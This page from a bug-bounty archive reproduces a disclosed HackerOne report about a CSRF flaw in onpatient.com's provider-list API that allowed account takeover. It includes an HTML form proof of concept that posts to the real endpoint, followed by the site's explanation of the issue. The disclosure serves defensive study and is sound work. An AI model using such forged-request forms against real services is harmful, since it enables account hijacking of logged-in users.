Skip to content
CSRF Disclosed report Intermediate

[CRITICAL] CSRF leading to account take over

The provider-linking endpoint accepted cross-site POST requests without a valid CSRF defence, so an attacker could add their own email to a victim's provider list. The attacker could then take over the victim's account.

sysecure Follow

Originally disclosed on HackerOne

  • Triaged in 1 hour
  • Fixed in 18 days
  • Paid in 18 days
  • Disclosed after 19 days

Hi , I have found a CSRF issue that allows an attacker to link his email account to the victim's account and hijack the whole account by adding himself in the providers list .

The link: https://onpatient.com/api/v3/providers

Content-Type: application/json Vary: Accept Allow: GET, POST, HEAD, OPTIONS

[ emails of providers ]

#Here is the poc

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <div class="tab-pane active" id="post-object-form">
                    <form action="https://onpatient.com/api/v3/providers" method="POST" enctype="multipart/form-data" class="form-horizontal" novalidate="">
                      <fieldset>
<input type="hidden" name="csrfmiddlewaretoken" value="oCSe26NkXpcEJ0X6MQzpZvFVfGY9M5yX">
<div class="form-group">

<label class="col-sm-2 control-label ">
  Patient
</label>
<div class="col-sm-10"> <select class="form-control" name="patient">
        <option value="213477">saleh ss</option>

</select>
</div> </div>
<div class="form-group ">

<label class="col-sm-2 control-label ">
  Name
</label>
<div class="col-sm-10"> <input name="name" class="form-control" type="text"> </div> </div>
<div class="form-group ">

<label class="col-sm-2 control-label ">
  Specialty
</label>
<div class="col-sm-10"> <input name="specialty" class="form-control" type="text"> </div> </div>
<div class="form-group ">

<label class="col-sm-2 control-label ">
  Fax
</label>
<div class="col-sm-10"> <input name="fax" class="form-control" type="text"> </div> </div>
<div class="form-group ">

<label class="col-sm-2 control-label ">
  Email
</label>
<div class="col-sm-10"> <input name="email" class="form-control" type="email"> </div> </div>
<div class="form-group ">

<label class="col-sm-2 control-label ">
  Phone
</label>
<div class="col-sm-10"> <input name="phone" class="form-control" type="text"> </div> </div>
<div class="form-group ">

<label class="col-sm-2 control-label ">
  Address
</label>
<div class="col-sm-10"> <textarea name="address" class="form-control"></textarea> </div> </div> <!-- form.non_field_errors -->
                        <div class="form-actions">
                          <button class="btn btn-primary" title="Make a POST request on the Provider List resource">POST</button>
                        </div>
                      </fieldset>
                    </form>

                </div>
</body> </html>

The original report as published on HackerOne, by sysecure. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the provider-linking endpoint did not enforce a CSRF token or same-site check on POST requests.

Impact

An attacker could add their own email to a victim's provider list and hijack the whole account.

What the attacker needed

Victim is logged in; victim visits attacker page

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A CSRF (cross-site request forgery) bug lets a malicious website make a logged-in user's browser send a request to another site without the user meaning to. Here the provider list could be changed by such a request, so the attacker could add their own email and then use it to take over the account.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by sysecure

View all

1 more disclosed report, best first.

More from drchrono

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.